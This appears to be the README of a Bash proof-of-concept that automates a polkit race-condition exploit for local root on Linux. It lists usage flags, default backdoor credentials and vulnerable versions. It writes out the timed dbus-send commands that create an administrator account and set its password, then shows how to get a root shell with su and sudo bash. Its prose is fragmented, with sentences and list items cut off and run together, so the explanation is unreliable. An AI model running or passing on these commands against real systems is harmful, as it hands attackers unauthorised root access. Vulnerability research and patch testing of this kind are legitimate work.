
This is just a Bash PoC script, that automates the exploitation steps mentioned in Kevin Backhouse's blog. Read his post on this vulnerability: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice and gnome-control-center and it must have polkit version 0.113 (or later) OR 0-105-26 (Debian fork of polkit).Ubuntu 20.04, with polkit version 0-105-26 (Debian fork of polkit) and Centos 8 with polkit version 0.115. If you are sure that your target is vulnerable, but the exploit's check function fails, use the -f=y flag to bypass all checks and force the exploit.Comprehensive explanation and PoC to exploit this manually is given at the researcher's blog in detail.
TL;DR of this exploit is given below:
polkit by sending a dbus message, but closing the request abruptly, while polkit is processing the request. Then the attacker can send a second request with the previoud request's unique bus identifier, to execute the request as UID 0 a.k.a root.polkit, because it treats the UID of a connection with a bus identifier that no longer exists, as a request from UID 0. Which means that, if we can time the attack correctly and terminate our first request at the right moment, then we can request the second request with the privileges of UID 0 a.k.a root.Like I said before, this is just a bash script that automates Kevin Backhouse's PoC. The core commands are the same; I just automated some initial steps (like getting the timing right, scanning for vulnerability, custom credentials insertion, printing pretty colors etc).
If this script has been run without any parameter, then the default behaviour of this script is as follows:
/etc/os-release file.]accountservice and gnome-control-center. [In rhel/centos/fedora, uses rpm -qa and in debian/ubuntu distributions, it uses dpkg -l].rhel.centos,fedora and 0-105-26 for Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <username> with the password provided to the script, and then enter sudo bash to drop into a root shell!Esc key to close the authentication prompt and Ctrl+C to terminate the script in a quick manner.$t) is calculated by dividing the time required to request by 2. ($t=time-required-to-request/2) [Calculated using awk]$t) is calculated, the request to insert the $username secnigma to the target is repeated 20 times. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], then a password hash is generated [using bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!